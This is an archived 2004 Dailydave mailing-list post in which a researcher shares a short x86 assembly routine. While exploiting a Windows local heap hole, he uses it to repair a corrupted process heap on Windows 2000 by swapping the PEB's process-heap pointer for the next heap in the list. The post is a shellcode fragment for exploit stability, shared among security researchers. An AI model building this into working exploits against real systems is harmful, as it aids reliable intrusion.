Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email email@example.com
[Dailydave] Fix heap code
From: Cesar (sqlsecyahoo.com)
Date: Fri Jun 18 2004 - 19:07:54 CDT
Dave was talking about some generic fix heap code, i'm
working in a new Windows local heap hole, and i'm
using the next code to fix the heap, it's working ok
on W2k, i just thought i would share this and hear
//Fixing the heap
mov eax, dword ptr fs:[0x18] // Get pointer to TEB
mov eax, dword ptr[eax+0x30] // Get pointer to the
PEB from TEB.
lea ebx, dword ptr[eax+0x18] // Get pointer to
process heap from PEB
mov eax, dword ptr[eax+0x90] // Get pointer to heaps
lea eax, [eax+0x4]
mov eax, [eax] // Get pointer to next heap in
mov [ebx], eax // Replace process
heap with next heap in list
Do you Yahoo!?
Yahoo! Mail - Helps protect you from nasty viruses.